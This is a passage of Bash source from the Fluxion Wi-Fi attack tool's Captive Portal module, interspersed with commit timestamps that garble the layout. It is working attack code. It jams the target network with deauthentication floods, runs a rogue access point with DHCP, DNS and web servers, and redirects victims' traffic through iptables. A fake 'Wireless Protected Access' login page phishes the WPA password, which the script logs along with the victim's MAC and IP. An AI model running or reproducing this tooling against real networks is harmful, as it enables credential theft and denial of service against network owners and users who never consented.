2018-08-03 12:48:31 -06:00
fi
local -r staticSSID = $( printf "%q" " $FluxionTargetSSID " | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g" )
echo "
2018-08-20 05:44:33 -06:00
readarray -t DHCPClients < <( nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork .100-110 2>& 1 | grep Host)
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
echo
echo -e \" ACCESS POINT:\"
printf \" SSID ...........: $CWht %s$CClr \\ n\" \" $staticSSID \"
echo -e \" MAC ............: $CYel $FluxionTargetMAC $CClr \"
echo -e \" Channel ........: $CWht $FluxionTargetChannel $CClr \"
echo -e \" Vendor .........: $CGrn ${ FluxionTargetMaker :- UNKNOWN } $CClr \"
echo -e \" Runtime ........: $CBlu \$ ih\$ h:\$ im\$ m:\$ is\$ s$CClr \"
echo -e \" Attempts .......: $CRed \$ ( cat $FLUXIONWorkspacePath /hit.txt) $CClr \"
echo -e \" Clients ........: $CBlu \$ ( cat $FLUXIONWorkspacePath /clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l) $CClr \"
echo
echo -e \" CLIENTS ONLINE:\"
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
x = 0
for client in \" \$ { DHCPClients[ @] } \" ; do
x = \$ ( ( \$ x+1) )
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
ClientIP = \$ ( echo \$ client| cut -d \" \" -f2)
ClientMAC = \$ ( nmap -PR -sn -n \$ ClientIP 2>& 1 | grep -i mac | awk '{print \$3}' | tr [ :upper:] [ :lower:] )
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
if [ \" \$ ( echo \$ ClientMAC| wc -m) \" != \" 18\" ] ; then
ClientMAC = \" xx:xx:xx:xx:xx:xx\"
fi
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
ClientMID = \$ ( macchanger -l | grep \" \$ ( echo \" \$ ClientMAC\" | cut -d \" :\" -f -3) \" | cut -d \" \" -f 5-)
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
if echo \$ ClientMAC| grep -q x; then
ClientMID = \" unknown\"
fi
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
ClientHostname = \$ ( grep \$ ClientIP \" $FLUXIONWorkspacePath /clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}' )
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
echo -e \" $CGrn \$ x) $CRed \$ ClientIP $CYel \$ ClientMAC $CClr ( $CBlu \$ ClientMID$CClr ) $CGrn \$ ClientHostname$CClr \"
done
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
echo -ne \" \0 33[ K\0 33[ u\" " >>" $FLUXIONWorkspacePath /captive_portal_authenticator.sh"
2018-08-03 12:48:31 -06:00
if [ $CaptivePortalAuthenticatorMode = "hash" ] ; then
echo "
2018-08-20 05:44:33 -06:00
sleep 1" >>" $FLUXIONWorkspacePath /captive_portal_authenticator.sh"
2018-08-03 12:48:31 -06:00
fi
echo "
done
if [ \$ AuthenticatorState = \" aborted\" ] ; then exit 1; fi
clear
echo \" 1\" > \" $FLUXIONWorkspacePath /status.txt\"
# sleep 7
sleep 3
signal_stop_attack
echo \"
FLUXION $FLUXIONVersion .$FLUXIONRevision
SSID: \\ \" $staticSSID \\ \"
BSSID: $FluxionTargetMAC ( $FluxionTargetMaker )
Channel: $FluxionTargetChannel
Security: $FluxionTargetEncryption
Time: \$ ih\$ h:\$ im\$ m:\$ is\$ s
Password: \$ ( cat $FLUXIONWorkspacePath /candidate.txt)
Mac: $( captive_portal_get_IP_MAC) ( $( captive_portal_get_MAC_brand) )
IP: $( captive_portal_get_client_IP)
\" >\" $CaptivePortalNetLog /$targetSSIDCleanNormalized -$FluxionTargetMAC .log\" " >>" $FLUXIONWorkspacePath /captive_portal_authenticator.sh"
if [ $CaptivePortalAuthenticatorMode = "hash" ] ; then
2019-05-26 20:39:18 -06:00
# echo "
# aircrack-ng -a 2 -b $FluxionTargetMAC -0 -s \"$CaptivePortalHashPath\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\
#" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
2018-08-03 12:48:31 -06:00
echo "
2019-05-26 20:39:18 -06:00
echo -e \" The password was saved in " $CRed " $CaptivePortalNetLog /$targetSSIDCleanNormalized -$FluxionTargetMAC .log" $CClr " \" \
" >>" $FLUXIONWorkspacePath /captive_portal_authenticator.sh"
2018-08-03 12:48:31 -06:00
fi
chmod +x " $FLUXIONWorkspacePath /captive_portal_authenticator.sh "
}
# Generate the contents for a generic web interface
captive_portal_generic( ) {
if [ ! -d " $FLUXIONWorkspacePath /captive_portal " ] ; then
mkdir " $FLUXIONWorkspacePath /captive_portal "
fi
base64 -d " $FLUXIONPath /attacks/Captive Portal/generic/assets " >" $FLUXIONWorkspacePath /file.zip "
unzip " $FLUXIONWorkspacePath /file.zip " -d " $FLUXIONWorkspacePath /captive_portal " & >$FLUXIONOutputDevice
sandbox_remove_workfile " $FLUXIONWorkspacePath /file.zip "
echo " \
<!DOCTYPE html>
<html>
2018-08-20 05:44:33 -06:00
<head>
<meta charset = \" UTF-8\" >
<meta name = \" viewport\" content = \" width = device-width, height = device-height, initial-scale= 1.0\" >
<title>Wireless Protected Access: Verifying</title>
<!-- Styles -->
<link rel = \" stylesheet\" type = \" text/css\" href = \" css/jquery.mobile-1.4.5.min.css\" />
<link rel = \" stylesheet\" type = \" text/css\" href = \" css/main.css\" />
<!-- Scripts -->
<script src = \" js/jquery-1.11.1.min.js\" ></script>
<script src = \" js/jquery.mobile-1.4.5.min.js\" ></script>
</head>
<body>
<!-- final page -->
<div id = \" done \" data-role= \" page\" data-theme= \" a\" >
<div data-role= \" main\" class = \" ui-content ui-body ui-body-b\" dir = \" $DIALOG_WEB_DIR \" >
<h3 style = \" text-align:center; \" >$DIALOG_WEB_OK </h3>
</div>
</div>
</body>
2018-08-03 12:48:31 -06:00
</html>" >" $FLUXIONWorkspacePath /captive_portal/final.html"
echo " \
<!DOCTYPE html>
<html>
2018-08-20 05:44:33 -06:00
<head>
<meta charset = \" UTF-8\" >
<meta name = \" viewport\" content = \" width = device-width, height = device-height, initial-scale= 1.0\" >
<title>Wireless Protected Access: Key Mismatch</title>
<!-- Styles -->
<link rel = \" stylesheet\" type = \" text/css\" href = \" css/jquery.mobile-1.4.5.min.css\" />
<link rel = \" stylesheet\" type = \" text/css\" href = \" css/main.css\" />
<!-- Scripts -->
<script src = \" js/jquery-1.11.1.min.js\" ></script>
<script src = \" js/jquery.mobile-1.4.5.min.js\" ></script>
<script src = \" js/jquery.validate.min.js\" ></script>
<script src = \" js/additional-methods.min.js\" ></script>
</head>
<body>
<!-- Error page -->
<div data-role= \" page\" data-theme= \" a\" >
<div data-role= \" main\" class = \" ui-content ui-body ui-body-b\" dir = \" $DIALOG_WEB_DIR \" >
<h3 style = \" text-align:center; \" >$DIALOG_WEB_ERROR </h3>
<a href = \" index.html\" class = \" ui-btn ui-corner-all ui-shadow\" onclick = \" location.href= 'index.html' \" >$DIALOG_WEB_BACK </a>
</div>
</div>
</body>
2018-08-03 12:48:31 -06:00
</html>" >" $FLUXIONWorkspacePath /captive_portal/error.html"
2019-08-31 21:40:58 -06:00
echo " \
<html>
<head>
<title>Redirecting to Captive Portal</title>
<meta http-equiv= \" refresh\" content = \" 0; url = index.html\" >
</head>
<body>
<p>Please wait, refreshing. If page does not refresh, click <a href = \" index.html\" >here</a> to login.</p>
</body>
</html>" >" $FLUXIONWorkspacePath /captive_portal/redirect.html"
2018-08-03 12:48:31 -06:00
echo " \
<!DOCTYPE html>
<html>
2018-08-20 05:44:33 -06:00
<head>
<meta charset = \" UTF-8\" >
<meta name = \" viewport\" content = \" width = device-width, height = device-height, initial-scale= 1.0\" >
<title>Wireless Protected Access: Login</title>
<!-- Styles -->
<link rel = \" stylesheet\" type = \" text/css\" href = \" css/jquery.mobile-1.4.5.min.css\" />
<link rel = \" stylesheet\" type = \" text/css\" href = \" css/main.css\" />
<!-- Scripts -->
<script src = \" js/jquery-1.11.1.min.js\" ></script>
<script src = \" js/jquery.mobile-1.4.5.min.js\" ></script>
<script src = \" js/jquery.validate.min.js\" ></script>
<script src = \" js/additional-methods.min.js\" ></script>
</head>
<body>
<!-- Main page -->
<div data-role= \" page\" data-theme= \" a\" >
<div class = \" ui-content\" dir = \" $DIALOG_WEB_DIR \" >
<fieldset>
<form id = \" loginForm\" class = \" ui-body ui-body-b ui-corner-all\" action = \" check.php\" method = \" POST\" >
</br>
<div class = \" ui-field-contain ui-responsive\" style = \" text-align:center; \" >
<div><u>$FluxionTargetSSID </u> ( $FluxionTargetMAC ) </div>
<!--<div>Channel: $FluxionTargetChannel </div>-->
</div>
<div style = \" text-align:center; \" >
<br>
<label>$DIALOG_WEB_INFO </label>
<br>
</div>
<div class = \" ui-field-contain\" >
<label for = \" key1\" >$DIALOG_WEB_INPUT </label>
<input id = \" key1\" style = \" color:#333; background-color:#CCC\" data-clear-btn= \" true\" type = \" password\" value = \" \" name = \" key1\" maxlength = \" 64\" />
</div>
<input data-icon= \" check\" data-inline= \" true\" name = \" submitBtn\" type = \" submit\" value = \" $DIALOG_WEB_SUBMIT \" />
</form>
</fieldset>
</div>
</div>
<script src = \" js/main.js\" ></script>
<script>
$.extend( $.validator.messages, {
required: \" $DIALOG_WEB_ERROR_MSG \" ,
maxlength: $.validator.format( \" $DIALOG_WEB_LENGTH_MAX \" ) ,
minlength: $.validator.format( \" $DIALOG_WEB_LENGTH_MIN \" )
} ) ;
</script>
</body>
2018-08-03 12:48:31 -06:00
</html>" >" $FLUXIONWorkspacePath /captive_portal/index.html"
2018-08-20 05:44:33 -06:00
2018-08-24 01:13:38 -06:00
if [ $FLUXIONEnable5GHZ -eq 1 ] ; then
2018-08-20 05:44:33 -06:00
cp -r " $FLUXIONPath /attacks/Captive Portal/deauth-ng.py " " $FLUXIONWorkspacePath /captive_portal/deauth-ng.py "
chmod +x " $FLUXIONWorkspacePath /captive_portal/deauth-ng.py "
fi
2018-08-03 12:48:31 -06:00
}
captive_portal_unset_routes( ) {
if [ -f " $FLUXIONIPTablesBackup " ] ; then
iptables-restore <" $FLUXIONIPTablesBackup " \
& > $FLUXIONOutputDevice
else
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
fi
# Restore system's original forwarding state
if [ -f " $FLUXIONWorkspacePath /ip_forward " ] ; then
sysctl -w net.ipv4.ip_forward= $(
cat " $FLUXIONWorkspacePath /ip_forward "
) & > $FLUXIONOutputDevice
sandbox_remove_workfile " $FLUXIONWorkspacePath /ip_forward "
fi
ip addr del $CaptivePortalGatewayAddress /24 dev $CaptivePortalAccessInterface 2>/dev/null
}
# Set up DHCP / WEB server
# Set up DHCP / WEB server
captive_portal_set_routes( ) {
# Give an address to the gateway interface in the rogue network.
# This makes the interface accessible from the rogue network.
ip addr add $CaptivePortalGatewayAddress /24 dev $CaptivePortalAccessInterface
# Save the system's routing state to restore later.
cp "/proc/sys/net/ipv4/ip_forward" " $FLUXIONWorkspacePath /ip_forward "
# Activate system IPV4 packet routing/forwarding.
sysctl -w net.ipv4.ip_forward= 1 & >$FLUXIONOutputDevice
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j ACCEPT
iptables -A INPUT -p udp --dport 67 -j ACCEPT
2018-08-13 12:01:10 -06:00
2018-08-03 12:48:31 -06:00
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \
--to-destination $CaptivePortalGatewayAddress :80
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \
--to-destination $CaptivePortalGatewayAddress :443
iptables -t nat -A POSTROUTING -j MASQUERADE
}
captive_portal_stop_interface( ) {
captive_portal_unset_routes
if [ " $CaptivePortalAPService " ] ; then
ap_service_stop
fi
}
captive_portal_start_interface( ) {
if [ " $CaptivePortalAPService " ] ; then
echo -e " $FLUXIONVLine $CaptivePortalStaringAPServiceNotice "
ap_service_start
else
fluxion_header
echo -e " $FLUXIONVLine Configuration for external access point device: "
echo
fluxion_target_show
echo -e " $FLUXIONVLine IPv4 Address: ${ CaptivePortalGatewayAddress %.* } .2/24 "
echo -e " $FLUXIONVLine IPv6 Address: Disabled "
echo -e " $FLUXIONVLine DHCP Server: $CaptivePortalGatewayAddress "
echo -e " $FLUXIONVLine DNS Server: $CaptivePortalGatewayAddress "
echo
echo -e " $FLUXIONVLine ${ CYel } Assure external AP device is available & configured before continuing! ${ CClr } "
read -n1 -p "Press any key to continue... " bullshit
fi
echo -e " $FLUXIONVLine $CaptivePortalStaringAPRoutesNotice "
captive_portal_set_routes &
sleep 3
fuser -n tcp -k 53 67 80 443 & > $FLUXIONOutputDevice
fuser -n udp -k 53 67 80 443 & > $FLUXIONOutputDevice
}
# ============================================================ #
# =================== < Parse Parameters > =================== #
# ============================================================ #
if [ ! " $CaptivePortalCLIArguments " ] ; then
if ! CaptivePortalCLIArguments = $(
getopt --options= "a:j:s:c:u:h:" \
--longoptions= "ap:,jammer:,ssl:,connectivity:,ui:,hash:" \
--name= " Captive Portal V $FLUXIONVersion . $FLUXIONRevision " -- " $@ "
) ; then
echo -e " ${ CRed } Aborted $CClr , parameter error detected... "
sleep 5
fluxion_handle_exit
fi
declare -r CaptivePortalCLIArguments = $CaptivePortalCLIArguments
eval set -- " $CaptivePortalCLIArguments " # Set environment parameters.
fi
# ============================================================ #
# ============= < Argument Loaded Configurables > ============ #
# ============================================================ #
while [ " $1 " != "" -a " $1 " != "--" ] ; do
case " $1 " in
-a| --ap)
CaptivePortalAccessPointInterfaceOriginal = $2 ; shift; ;
-j| --jammer)
CaptivePortalJammerInterfaceOriginal = $2 ; shift; ;
-s| --ssl)
CaptivePortalSSLCertificatePath = $2 ; shift; ;
-c| --connectivity)
CaptivePortalConnectivity = $2 ; shift; ;
-u| --ui)
CaptivePortalUserInterface = $2 ; shift; ;
-h| --hash)
# Assuming hash auth-mode here (the only one available as of now).
# WARNING: If more auth-modes are added, assume hash auth-mode here!
CaptivePortalHashPath = $2 ; shift; ;
esac
shift # Shift new parameters
done
# ============================================================ #
# ===================== < Fluxion Hooks > ==================== #
# ============================================================ #
attack_targetting_interfaces( ) {
interface_list_wireless
local interface
for interface in " ${ InterfaceListWireless [@] } " ; do
echo " $interface "
done
}
attack_tracking_interfaces( ) {
interface_list_wireless
local interface
for interface in " ${ InterfaceListWireless [@] } " ; do
echo " $interface "
done
echo "" # This enables the Skip option.
}
unprep_attack( ) {
CaptivePortalState = "Not Ready"
captive_portal_unset_attack
captive_portal_unset_user_interface
captive_portal_unset_connectivity
captive_portal_unset_certificate
captive_portal_unset_authenticator
captive_portal_unset_ap_interface
captive_portal_unset_jammer_interface
}
prep_attack( ) {
local sequence = (
"set_jammer_interface"
"set_ap_interface"
"set_ap_service"
"set_authenticator"
"set_certificate"
"set_connectivity"
"set_user_interface"
"set_attack"
)
if ! fluxion_do_sequence captive_portal sequence[ @] ; then
return 1
fi
CaptivePortalState = "Ready"
}
load_attack( ) {
local -r configurationPath = $1
local configuration
readarray -t configuration < <( more " $configurationPath " )
CaptivePortalJammerInterfaceOriginal = ${ configuration [0] }
CaptivePortalAccessPointInterfaceOriginal = ${ configuration [1] }
CaptivePortalAPService = ${ configuration [2] }
CaptivePortalAuthenticatorMode = ${ configuration [3] }
CaptivePortalSSL = ${ configuration [4] }
CaptivePortalConnectivity = ${ configuration [5] }
CaptivePortalUserInterface = ${ configuration [6] }
# Hash authenticator mode configuration.
CaptivePortalHashPath = ${ configuration [7] }
# Target hash information for verification.
local -r targetHashSSID = ${ configuration [8] }
local -r targetHashMAC = ${ configuration [9] }
# Assure hash is relevant for fluxion's current target.
# If the hash is no longer relevant, clear to force reset.
if [ \
" $targetHashSSID " != " $FluxionTargetSSID " -o \
" $targetHashMAC " != " $FluxionTargetMAC " ] ; then
CaptivePortalHashPath = ""
fi
}
save_attack( ) {
local -r configurationPath = $1
# Store/overwrite attack configuration for pause & resume.
# Order: JammerWI, APWI, APServ, AuthMode, SSL, Conn, UI
echo " $CaptivePortalJammerInterfaceOriginal " > " $configurationPath "
echo " $CaptivePortalAccessPointInterfaceOriginal " >> " $configurationPath "
echo " $CaptivePortalAPService " >> " $configurationPath "
echo " $CaptivePortalAuthenticatorMode " >> " $configurationPath "
echo " $CaptivePortalSSL " >> " $configurationPath "
echo " $CaptivePortalConnectivity " >> " $configurationPath "
echo " $CaptivePortalUserInterface " >> " $configurationPath "
# Hash authenticator mode configuration.
echo " $CaptivePortalHashPath " >> " $configurationPath "
# Target to verify validity of hash on restore.
echo " $FluxionTargetSSID " >> " $configurationPath "
echo " $FluxionTargetMAC " >> " $configurationPath "
}
stop_attack( ) {
# Attempt to find PIDs of any running authenticators.
local authenticatorPID = $( ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}' )
# Signal any authenticator to stop authentication loop.
if [ " $authenticatorPID " ] ; then kill -s SIGABRT $authenticatorPID ; fi
if [ " $CaptivePortalJammerServiceXtermPID " ] ; then
kill $( pgrep -P $CaptivePortalJammerServiceXtermPID \
2> $FLUXIONOutputDevice ) & > $FLUXIONOutputDevice
CaptivePortalJammerServiceXtermPID = "" # Clear parent PID
fi
2019-07-28 21:03:44 -06:00
sandbox_remove_workfile " $FLUXIONWorkspacePath /mdk3_blacklist.lst "
2018-08-03 12:48:31 -06:00
# Kill captive portal web server log viewer.
if [ " $CaptivePortalWebServiceXtermPID " ] ; then
kill $CaptivePortalWebServiceXtermPID & > $FLUXIONOutputDevice
CaptivePortalWebServiceXtermPID = "" # Clear service PID
fi
# Kill captive portal web server.
if [ " $CaptivePortalWebServicePID " ] ; then
kill $CaptivePortalWebServicePID & > $FLUXIONOutputDevice
CaptivePortalWebServicePID = "" # Clear service PID
fi
# Kill python DNS service if one is found.
if [ " $CaptivePortalDNSServiceXtermPID " ] ; then
kill $( pgrep -P $CaptivePortalDNSServiceXtermPID \
2> $FLUXIONOutputDevice ) & > $FLUXIONOutputDevice
CaptivePortalDNSServiceXtermPID = "" # Clear parent PID
fi
# Kill DHCP service.
if [ " $CaptivePortalDHCPServiceXtermPID " ] ; then
kill $( pgrep -P $CaptivePortalDHCPServiceXtermPID \
2> $FLUXIONOutputDevice ) & > $FLUXIONOutputDevice
CaptivePortalDHCPServiceXtermPID = "" # Clear parent PID
fi
sandbox_remove_workfile " $FLUXIONWorkspacePath /clients.txt "
captive_portal_stop_interface
# Start the network-manager if it's disabled.
2018-08-13 12:01:10 -06:00
if systemctl status network-manager.service & > /dev/null; then
if [ ! -x " $( command -v systemctl) " ] ; then
if [ -x " $( command -v service) " ] ; then
service network-manager.service
fi
systemctl stop network-manager.service
fi
2018-08-03 12:48:31 -06:00
fi
CaptivePortalState = "Stopped"
}
start_attack( ) {
if [ " $CaptivePortalState " = "Running" ] ; then return 0; fi
if [ " $CaptivePortalState " != "Ready" ] ; then return 1; fi
CaptivePortalState = "Running"
stop_attack
if systemctl status network-manager.service & > /dev/null; then
2018-08-13 12:01:10 -06:00
if [ ! -x " $( command -v systemctl) " ] ; then
if [ -x " $( command -v service) " ] ; then
service network-manager.service stop
fi
systemctl stop network-manager.service
fi
fi
if systemctl status systemd-resolved & > /dev/null; then
if [ ! -x " $( command -v systemctl) " ] ; then
if [ -x " $( command -v service) " ] ; then
service systemd-resolved stop
fi
systemctl stop systemd-resolved.service
fi
2018-08-03 12:48:31 -06:00
fi
captive_portal_start_interface
2018-08-13 12:01:10 -06:00
2018-08-03 12:48:31 -06:00
echo -e " $FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice "
xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" \
-title "FLUXION AP DHCP Service" -e \
" dhcpd -d -f -lf \" $FLUXIONWorkspacePath /dhcpd.leases\" -cf \" $FLUXIONWorkspacePath /dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \" $FLUXIONWorkspacePath /clients.txt\" " &
# Save parent's pid, to get to child later.
CaptivePortalDHCPServiceXtermPID = $!
echo -e " $FLUXIONVLine $CaptivePortalStartingDNSServiceNotice "
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \
-title "FLUXION AP DNS Service" -e \
" if type python2 >/dev/null 2>/dev/null; then python2 \" $FLUXIONWorkspacePath /fluxion_captive_portal_dns.py\"; else python \" $FLUXIONWorkspacePath /fluxion_captive_portal_dns.py\"; fi " &
# Save parent's pid, to get to child later.
CaptivePortalDNSServiceXtermPID = $!
2019-08-31 21:40:58 -06:00
2018-08-03 12:48:31 -06:00
echo -e " $FLUXIONVLine $CaptivePortalStartingWebServiceNotice "
lighttpd -f " $FLUXIONWorkspacePath /lighttpd.conf " \
& > $FLUXIONOutputDevice
CaptivePortalWebServicePID = $!
xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" \
-title "FLUXION Web Service" -e \
" tail -f \" $FLUXIONWorkspacePath /lighttpd.log\" " &
CaptivePortalWebServiceXtermPID = $!
echo -e " $FLUXIONVLine $CaptivePortalStartingJammerServiceNotice "
2019-07-28 21:03:44 -06:00
echo -e " $FluxionTargetMAC " >" $FLUXIONWorkspacePath /mdk3_blacklist.lst "
2018-08-03 12:48:31 -06:00
2018-08-24 01:13:38 -06:00
if [ $FLUXIONEnable5GHZ -eq 1 ] ; then
2018-08-03 12:48:31 -06:00
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title " FLUXION AP Jammer Service [ $FluxionTargetSSID ] " -e \
2018-08-20 05:44:33 -06:00
" ./ $FLUXIONWorkspacePath /captive_portal/deauth-ng.py -i $CaptivePortalJammerInterface -f 5 -c $FluxionTargetChannel -a $FluxionTargetMAC " &
2018-08-03 12:48:31 -06:00
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID = $!
else
2019-01-27 16:18:31 -07:00
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title " FLUXION AP Jammer Service [ $FluxionTargetSSID ] " -e \
2019-07-28 21:03:44 -06:00
" mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \" $FLUXIONWorkspacePath /mdk3_blacklist.lst\" " &
2019-01-27 16:18:31 -07:00
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID = $!
2018-08-03 12:48:31 -06:00
fi
echo -e " $FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice "
xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" \
-title "FLUXION AP Authenticator" \
-e " $FLUXIONWorkspacePath /captive_portal_authenticator.sh " &
}
# FLUXSCRIPT END